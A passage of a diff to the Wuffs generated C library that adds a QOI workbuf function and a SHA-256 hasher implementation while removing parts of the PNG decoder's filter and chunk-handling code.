WUFFS_BASE__DISABLED; - } -- - return status; - } - --// -------- func png.decoder.assign_filter_distance -+// -------- func qoi.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_qoi__decoder__workbuf_len( -+ const wuffs_qoi__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) -+ -+// ---------------- Status Codes Implementations -+ -+// ---------------- Private Consts -+ -+static const uint32_t -+WUFFS_SHA256__INITIAL_SHA256_H[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1779033703u, 3144134277u, 1013904242u, 2773480762u, 1359893119u, 2600822924u, 528734635u, 1541459225u, -+}; -+ -+static const uint32_t -+WUFFS_SHA256__K[64] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1116352408u, 1899447441u, 3049323471u, 3921009573u, 961987163u, 1508970993u, 2453635748u, 2870763221u, -+ 3624381080u, 310598401u, 607225278u, 1426881987u, 1925078388u, 2162078206u, 2614888103u, 3248222580u, -+ 3835390401u, 4022224774u, 264347078u, 604807628u, 770255983u, 1249150122u, 1555081692u, 1996064986u, -+ 2554220882u, 2821834349u, 2952996808u, 3210313671u, 3336571891u, 3584528711u, 113926993u, 338241895u, -+ 666307205u, 773529912u, 1294757372u, 1396182291u, 1695183700u, 1986661051u, 2177026350u, 2456956037u, -+ 2730485921u, 2820302411u, 3259730800u, 3345764771u, 3516065817u, 3600352804u, 4094571909u, 275423344u, -+ 430227734u, 506948616u, 659060556u, 883997877u, 958139571u, 1322822218u, 1537002063u, 1747873779u, -+ 1955562222u, 2024104815u, 2227730452u, 2361852424u, 2428436474u, 2756734187u, 3204031479u, 3329325298u, -+}; -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_png__decoder__assign_filter_distance( -- wuffs_png__decoder* self) { -- if (self->private_impl.f_depth < 8u) { -- if ((self->private_impl.f_depth != 1u) && (self->private_impl.f_depth != 2u) && (self->private_impl.f_depth != 4u)) { -- return wuffs_base__make_empty_struct(); -- } else if (self->private_impl.f_color_type == 0u) { -- self->private_impl.f_dst_pixfmt = 536870920u; -- self->private_impl.f_src_pixfmt = 536870920u; -- } else if (self->private_impl.f_color_type == 3u) { -- self->private_impl.f_dst_pixfmt = 2198077448u; -- self->private_impl.f_src_pixfmt = 2198077448u; -+wuffs_sha256__hasher__up( -+ wuffs_sha256__hasher* self, -+ wuffs_base__slice_u8 a_x); -+ -+// ---------------- VTables -+ -+const wuffs_base__hasher_bitvec256__func_ptrs -+wuffs_sha256__hasher__func_ptrs_for__wuffs_base__hasher_bitvec256 = { -+ (wuffs_base__bitvec256(*)(const void*))(&wuffs_sha256__hasher__checksum_bitvec256), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_sha256__hasher__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_sha256__hasher__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_sha256__hasher__update), -+ (wuffs_base__bitvec256(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_sha256__hasher__update_bitvec256), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_sha256__hasher__initialize( -+ wuffs_sha256__hasher* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; - } else { -- return wuffs_base__make_empty_struct(); -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); - } -- self->private_impl.f_filter_distance = 1u; -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -- } else if (self->private_impl.f_color_type == 0u) { -- if (self->private_impl.f_depth == 8u) { -- self->private_impl.f_dst_pixfmt = 536870920u; -- self->private_impl.f_src_pixfmt = 536870920u; -- self->private_impl.f_filter_distance = 1u; -- } else if (self->private_impl.f_depth == 16u) { -- if (self->private_impl.f_interlace_pass == 0u) { -- self->private_impl.f_dst_pixfmt = 536870923u; -- self->private_impl.f_src_pixfmt = 537919499u; -- } else { -- self->private_impl.f_dst_pixfmt = 2164308923u; -- self->private_impl.f_src_pixfmt = 2164308923u; -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__hasher_bitvec256.vtable_name = -+ wuffs_base__hasher_bitvec256__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__hasher_bitvec256.function_pointers = -+ (const void*)(&wuffs_sha256__hasher__func_ptrs_for__wuffs_base__hasher_bitvec256); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_sha256__hasher* -+wuffs_sha256__hasher__alloc(void) { -+ wuffs_sha256__hasher* x = -+ (wuffs_sha256__hasher*)(calloc(1, sizeof(wuffs_sha256__hasher))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_sha256__hasher__initialize( -+ x, sizeof(wuffs_sha256__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_sha256__hasher(void) { -+ return sizeof(wuffs_sha256__hasher); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func sha256.hasher.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_sha256__hasher__get_quirk( -+ const wuffs_sha256__hasher* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func sha256.hasher.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_sha256__hasher__set_quirk( -+ wuffs_sha256__hasher* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func sha256.hasher.update -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_sha256__hasher__update( -+ wuffs_sha256__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } -+ -+ uint64_t v_new_lmu = 0; -+ -+ if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { -+ self->private_impl.f_h0 = WUFFS_SHA256__INITIAL_SHA256_H[0u]; -+ self->private_impl.f_h1 = WUFFS_SHA256__INITIAL_SHA256_H[1u]; -+ self->private_impl.f_h2 = WUFFS_SHA256__INITIAL_SHA256_H[2u]; -+ self->private_impl.f_h3 = WUFFS_SHA256__INITIAL_SHA256_H[3u]; -+ self->private_impl.f_h4 = WUFFS_SHA256__INITIAL_SHA256_H[4u]; -+ self->private_impl.f_h5 = WUFFS_SHA256__INITIAL_SHA256_H[5u]; -+ self->private_impl.f_h6 = WUFFS_SHA256__INITIAL_SHA256_H[6u]; -+ self->private_impl.f_h7 = WUFFS_SHA256__INITIAL_SHA256_H[7u]; -+ } -+ v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); -+ self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); -+ self->private_impl.f_length_modulo_u64 = v_new_lmu; -+ if (self->private_impl.f_buf_len != 0u) { -+ while (self->private_impl.f_buf_len < 64u) { -+ if (((uint64_t)(a_x.len)) <= 0u) { -+ return wuffs_base__make_empty_struct(); - } -- self->private_impl.f_filter_distance = 2u; -- } -- } else if (self->private_impl.f_color_type == 2u) { -- if (self->private_impl.f_depth == 8u) { -- self->private_impl.f_dst_pixfmt = 2147485832u; -- self->private_impl.f_src_pixfmt = 2684356744u; -- self->private_impl.f_filter_distance = 3u; -- } else if (self->private_impl.f_depth == 16u) { -- self->private_impl.f_dst_pixfmt = 2164308923u; -- self->private_impl.f_src_pixfmt = 2164308923u; -- self->private_impl.f_filter_distance = 6u; -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -- } -- } else if (self->private_impl.f_color_type == 3u) { -- if (self->private_impl.f_depth == 8u) { -- self->private_impl.f_dst_pixfmt = 2198077448u; -- self->private_impl.f_src_pixfmt = 2198077448u; -- self->private_impl.f_filter_distance = 1u; -- } -- } else if (self->private_impl.f_color_type == 4u) { -- if (self->private_impl.f_depth == 8u) { -- self->private_impl.f_dst_pixfmt = 2164295816u; -- self->private_impl.f_src_pixfmt = 2164295816u; -- self->private_impl.f_filter_distance = 2u; -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -- } else if (self->private_impl.f_depth == 16u) { -- self->private_impl.f_dst_pixfmt = 2164308923u; -- self->private_impl.f_src_pixfmt = 2164308923u; -- self->private_impl.f_filter_distance = 4u; -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -- } -- } else if (self->private_impl.f_color_type == 6u) { -- if (self->private_impl.f_depth == 8u) { -- self->private_impl.f_dst_pixfmt = 2164295816u; -- self->private_impl.f_src_pixfmt = 2701166728u; -- self->private_impl.f_filter_distance = 4u; -- } else if (self->private_impl.f_depth == 16u) { -- self->private_impl.f_dst_pixfmt = 2164308923u; -- self->private_impl.f_src_pixfmt = 2164308923u; -- self->private_impl.f_filter_distance = 8u; -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -+ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; -+ self->private_impl.f_buf_len += 1u; -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); - } -+ self->private_impl.f_buf_len = 0u; -+ wuffs_sha256__hasher__up(self, wuffs_base__make_slice_u8(self->private_impl.f_buf_data, 64)); - } -+ wuffs_sha256__hasher__up(self, a_x); - return wuffs_base__make_empty_struct(); - } - --// -------- func png.decoder.calculate_bytes_per_row -+// -------- func sha256.hasher.update_bitvec256 - - WUFFS_BASE__GENERATED_C_CODE --static uint64_t --wuffs_png__decoder__calculate_bytes_per_row( -- const wuffs_png__decoder* self, -- uint32_t a_width) { -- uint64_t v_bytes_per_channel = 0; -- -- if (self->private_impl.f_depth == 1u) { -- return ((uint64_t)(((a_width + 7u) / 8u))); -- } else if (self->private_impl.f_depth == 2u) { -- return ((uint64_t)(((a_width + 3u) / 4u))); -- } else if (self->private_impl.f_depth == 4u) { -- return ((uint64_t)(((a_width + 1u) / 2u))); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_sha256__hasher__update_bitvec256( -+ wuffs_sha256__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); - } -- v_bytes_per_channel = ((uint64_t)((self->private_impl.f_depth >> 3u))); -- return (((uint64_t)(a_width)) * v_bytes_per_channel * ((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type]))); -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); -+ } -+ -+ wuffs_sha256__hasher__update(self, a_x); -+ return wuffs_sha256__hasher__checksum_bitvec256(self); - } - --// -------- func png.decoder.choose_filter_implementations -+// -------- func sha256.hasher.up - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_png__decoder__choose_filter_implementations( -- wuffs_png__decoder* self) { -- if (self->private_impl.f_filter_distance == 3u) { -- self->private_impl.choosy_filter_1 = ( -- &wuffs_png__decoder__filter_1_distance_3_fallback); -- self->private_impl.choosy_filter_3 = ( -- &wuffs_png__decoder__filter_3_distance_3_fallback); -- self->private_impl.choosy_filter_4 = ( --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_3_arm_neon : --#endif --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_3_x86_sse42 : --#endif -- &wuffs_png__decoder__filter_4_distance_3_fallback); -- } else if (self->private_impl.f_filter_distance == 4u) { -- self->private_impl.choosy_filter_1 = ( --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_1_distance_4_arm_neon : --#endif --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_1_distance_4_x86_sse42 : --#endif -- &wuffs_png__decoder__filter_1_distance_4_fallback); -- self->private_impl.choosy_filter_3 = ( --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_3_distance_4_arm_neon : --#endif --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_3_distance_4_x86_sse42 : --#endif -- &wuffs_png__decoder__filter_3_distance_4_fallback); -- self->private_impl.choosy_filter_4 = ( --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_4_arm_neon : --#endif --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_4_x86_sse42 : --#endif -- &wuffs_png__decoder__filter_4_distance_4_fallback); -+wuffs_sha256__hasher__up( -+ wuffs_sha256__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ wuffs_base__slice_u8 v_p = {0}; -+ uint32_t v_w[64] = {0}; -+ uint32_t v_w2 = 0; -+ uint32_t v_w15 = 0; -+ uint32_t v_s0 = 0; -+ uint32_t v_s1 = 0; -+ uint32_t v_t1 = 0; -+ uint32_t v_t2 = 0; -+ uint32_t v_a = 0; -+ uint32_t v_b = 0; -+ uint32_t v_c = 0; -+ uint32_t v_d = 0; -+ uint32_t v_e = 0; -+ uint32_t v_f = 0; -+ uint32_t v_g = 0; -+ uint32_t v_h = 0; -+ uint32_t v_i = 0; -+ uint32_t v_buf_len = 0; -+ -+ v_a = self->private_impl.f_h0; -+ v_b = self->private_impl.f_h1; -+ v_c = self->private_impl.f_h2; -+ v_d = self->private_impl.f_h3; -+ v_e = self->private_impl.f_h4; -+ v_f = self->private_impl.f_h5; -+ v_g = self->private_impl.f_h6; -+ v_h = self->private_impl.f_h7; -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 64; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64)); -+ while (v_p.ptr < i_end0_p) { -+ v_w[0u] = ((((uint32_t)(v_p.ptr[0u])) << 24u) | -+ (((uint32_t)(v_p.ptr[1u])) << 16u) | -+ (((uint32_t)(v_p.ptr[2u])) << 8u) | -+ ((uint32_t)(v_p.ptr[3u]))); -+ v_w[1u] = ((((uint32_t)(v_p.ptr[4u])) << 24u) | -+ (((uint32_t)(v_p.ptr[5u])) << 16u) | -+ (((uint32_t)(v_p.ptr[6u])) << 8u) | -+ ((uint32_t)(v_p.ptr[7u]))); -+ v_w[2u] = ((((uint32_t)(v_p.ptr[8u])) << 24u) | -+ (((uint32_t)(v_p.ptr[9u])) << 16u) | -+ (((uint32_t)(v_p.ptr[10u])) << 8u) | -+ ((uint32_t)(v_p.ptr[11u]))); -+ v_w[3u] = ((((uint32_t)(v_p.ptr[12u])) << 24u) | -+ (((uint32_t)(v_p.ptr[13u])) << 16u) | -+ (((uint32_t)(v_p.ptr[14u])) << 8u) | -+ ((uint32_t)(v_p.ptr[15u]))); -+ v_w[4u] = ((((uint32_t)(v_p.ptr[16u])) << 24u) | -+ (((uint32_t)(v_p.ptr[17u])) << 16u) | -+ (((uint32_t)(v_p.ptr[18u])) << 8u) | -+ ((uint32_t)(v_p.ptr[19u]))); -+ v_w[5u] = ((((uint32_t)(v_p.ptr[20u])) << 24u) | -+ (((uint32_t)(v_p.ptr[21u])) << 16u) | -+ (((uint32_t)(v_p.ptr[22u])) << 8u) | -+ ((uint32_t)(v_p.ptr[23u]))); -+ v_w[6u] = ((((uint32_t)(v_p.ptr[24u])) << 24u) | -+ (((uint32_t)(v_p.ptr[25u])) << 16u) | -+ (((uint32_t)(v_p.ptr[26u])) << 8u) | -+ ((uint32_t)(v_p.ptr[27u]))); -+ v_w[7u] = ((((uint32_t)(v_p.ptr[28u])) << 24u) | -+ (((uint32_t)(v_p.ptr[29u])) << 16u) | -+ (((uint32_t)(v_p.ptr[30u])) << 8u) | -+ ((uint32_t)(v_p.ptr[31u]))); -+ v_w[8u] = ((((uint32_t)(v_p.ptr[32u])) << 24u) | -+ (((uint32_t)(v_p.ptr[33u])) << 16u) | -+ (((uint32_t)(v_p.ptr[34u])) << 8u) | -+ ((uint32_t)(v_p.ptr[35u]))); -+ v_w[9u] = ((((uint32_t)(v_p.ptr[36u])) << 24u) | -+ (((uint32_t)(v_p.ptr[37u])) << 16u) | -+ (((uint32_t)(v_p.ptr[38u])) << 8u) | -+ ((uint32_t)(v_p.ptr[39u]))); -+ v_w[10u] = ((((uint32_t)(v_p.ptr[40u])) << 24u) | -+ (((uint32_t)(v_p.ptr[41u])) << 16u) | -+ (((uint32_t)(v_p.ptr[42u])) << 8u) | -+ ((uint32_t)(v_p.ptr[43u]))); -+ v_w[11u] = ((((uint32_t)(v_p.ptr[44u])) << 24u) | -+ (((uint32_t)(v_p.ptr[45u])) << 16u) | -+ (((uint32_t)(v_p.ptr[46u])) << 8u) | -+ ((uint32_t)(v_p.ptr[47u]))); -+ v_w[12u] = ((((uint32_t)(v_p.ptr[48u])) << 24u) | -+ (((uint32_t)(v_p.ptr[49u])) << 16u) | -+ (((uint32_t)(v_p.ptr[50u])) << 8u) | -+ ((uint32_t)(v_p.ptr[51u]))); -+ v_w[13u] = ((((uint32_t)(v_p.ptr[52u])) << 24u) | -+ (((uint32_t)(v_p.ptr[53u])) << 16u) | -+ (((uint32_t)(v_p.ptr[54u])) << 8u) | -+ ((uint32_t)(v_p.ptr[55u]))); -+ v_w[14u] = ((((uint32_t)(v_p.ptr[56u])) << 24u) | -+ (((uint32_t)(v_p.ptr[57u])) << 16u) | -+ (((uint32_t)(v_p.ptr[58u])) << 8u) | -+ ((uint32_t)(v_p.ptr[59u]))); -+ v_w[15u] = ((((uint32_t)(v_p.ptr[60u])) << 24u) | -+ (((uint32_t)(v_p.ptr[61u])) << 16u) | -+ (((uint32_t)(v_p.ptr[62u])) << 8u) | -+ ((uint32_t)(v_p.ptr[63u]))); -+ v_i = 16u; -+ while (v_i < 64u) { -+ v_w2 = v_w[(v_i - 2u)]; -+ v_s1 = ((v_w2 >> 10u) ^ (((uint32_t)(v_w2 << 15u)) | (v_w2 >> 17u)) ^ (((uint32_t)(v_w2 << 13u)) | (v_w2 >> 19u))); -+ v_w15 = v_w[(v_i - 15u)]; -+ v_s0 = ((v_w15 >> 3u) ^ (((uint32_t)(v_w15 << 25u)) | (v_w15 >> 7u)) ^ (((uint32_t)(v_w15 << 14u)) | (v_w15 >> 18u))); -+ v_w[v_i] = ((uint32_t)(((uint32_t)(((uint32_t)(v_s1 + v_w[(v_i - 7u)])) + v_s0)) + v_w[(v_i - 16u)])); -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 64u) { -+ v_t1 = v_h; -+ v_t1 += ((((uint32_t)(v_e << 26u)) | (v_e >> 6u)) ^ (((uint32_t)(v_e << 21u)) | (v_e >> 11u)) ^ (((uint32_t)(v_e << 7u)) | (v_e >> 25u))); -+ v_t1 += ((v_e & v_f) ^ ((4294967295u ^ v_e) & v_g)); -+ v_t1 += WUFFS_SHA256__K[v_i]; -+ v_t1 += v_w[v_i]; -+ v_t2 = ((((uint32_t)(v_a << 30u)) | (v_a >> 2u)) ^ (((uint32_t)(v_a << 19u)) | (v_a >> 13u)) ^ (((uint32_t)(v_a << 10u)) | (v_a >> 22u))); -+ v_t2 += ((v_a & v_b) ^ (v_a & v_c) ^ (v_b & v_c)); -+ v_h = v_g; -+ v_g = v_f; -+ v_f = v_e; -+ v_e = ((uint32_t)(v_d + v_t1)); -+ v_d = v_c; -+ v_c = v_b; -+ v_b = v_a; -+ v_a = ((uint32_t)(v_t1 + v_t2)); -+ v_i += 1u; -+ } -+ v_a += self->private_impl.f_h0; -+ self->private_impl.f_h0 = v_a; -+ v_b += self->private_impl.f_h1; -+ self->private_impl.f_h1 = v_b; -+ v_c += self->private_impl.f_h2; -+ self->private_impl.f_h2 = v_c; -+ v_d += self->private_impl.f_h3; -+ self->private_impl.f_h3 = v_d; -+ v_e += self->private_impl.f_h4; -+ self->private_impl.f_h4 = v_e; -+ v_f += self->private_impl.f_h5; -+ self->private_impl.f_h5 = v_f; -+ v_g += self->private_impl.f_h6; -+ self->private_impl.f_h6 = v_g; -+ v_h += self->private_impl.f_h7; -+ self->private_impl.f_h7 = v_h; -+ v_p.ptr += 64; -+ } -+ v_p.len = 1; -+ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end1_p) { -+ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; -+ v_buf_len = ((v_buf_len + 1u) & 63u); -+ v_p.ptr += 1; -+ } -+ v_p.len = 0; - } -+ self->private_impl.f_buf_len = ((uint32_t)((((uint64_t)(a_x.len)) & 63u))); - return wuffs_base__make_empty_struct(); - } - --// -------- func png.decoder.decode_other_chunk -+// -------- func sha256.hasher.checksum_bitvec256 - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_other_chunk( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src, -- bool a_framy) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_sha256__hasher__checksum_bitvec256( -+ const wuffs_sha256__hasher* self) { -+ if (!self) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_other_chunk[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ uint32_t v_buf_len = 0; -+ uint8_t v_buf_data[64] = {0}; -+ uint64_t v_length_in_bits = 0; -+ uint32_t v_w[64] = {0}; -+ uint32_t v_w2 = 0; -+ uint32_t v_w15 = 0; -+ uint32_t v_s0 = 0; -+ uint32_t v_s1 = 0; -+ uint32_t v_t1 = 0; -+ uint32_t v_t2 = 0; -+ uint32_t v_h0 = 0; -+ uint32_t v_h1 = 0; -+ uint32_t v_h2 = 0; -+ uint32_t v_h3 = 0; -+ uint32_t v_h4 = 0; -+ uint32_t v_h5 = 0; -+ uint32_t v_h6 = 0; -+ uint32_t v_h7 = 0; -+ uint32_t v_a = 0; -+ uint32_t v_b = 0; -+ uint32_t v_c = 0; -+ uint32_t v_d = 0; -+ uint32_t v_e = 0; -+ uint32_t v_f = 0; -+ uint32_t v_g = 0; -+ uint32_t v_h = 0; -+ uint32_t v_i = 0; -+ bool v_final_block = false; - -- if ((self->private_impl.f_chunk_type == 1163152464u) && ! a_framy) { -- if (self->private_impl.f_seen_plte) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } else if (self->private_impl.f_color_type == 3u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_png__decoder__decode_plte(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else if ((self->private_impl.f_color_type == 2u) || (self->private_impl.f_color_type == 6u)) { -- } else { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_seen_plte = true; -- } else if ((self->private_impl.f_chunk_type & 32u) == 0u) { -- if (self->private_impl.f_chunk_type != 1413563465u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -+ v_i = 0u; -+ while (v_i < 64u) { -+ v_buf_data[v_i] = self->private_impl.f_buf_data[v_i]; -+ v_i += 1u; -+ } -+ v_buf_len = (self->private_impl.f_buf_len & 63u); -+ if (v_buf_len < 56u) { -+ v_buf_data[v_buf_len] = 128u; -+ v_buf_len += 1u; -+ while (v_buf_len < 56u) { -+ v_buf_data[v_buf_len] = 0u; -+ v_buf_len += 1u; - } -- if (self->private_impl.f_chunk_type == 1716082789u) { -- if (self->private_impl.f_report_metadata_exif) { -- if (self->private_impl.f_seen_exif) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_png__decoder__decode_exif(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_exif = true; -- } -- } else if ((self->private_impl.f_chunk_type == 1951945833u) || (self->private_impl.f_chunk_type == 1951942004u) || (self->private_impl.f_chunk_type == 1951945850u)) { -- if (self->private_impl.f_report_metadata_kvp) { -- self->private_impl.f_metadata_flavor = 4u; -- self->private_impl.f_metadata_fourcc = 1263947851u; -- self->private_impl.f_metadata_x = 0u; -- self->private_impl.f_metadata_y = 0u; -- self->private_impl.f_metadata_z = 0u; -- } -- } else if ( ! a_framy) { -- if (self->private_impl.f_chunk_type == 1280598881u) { -- if (self->private_impl.f_seen_actl) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = 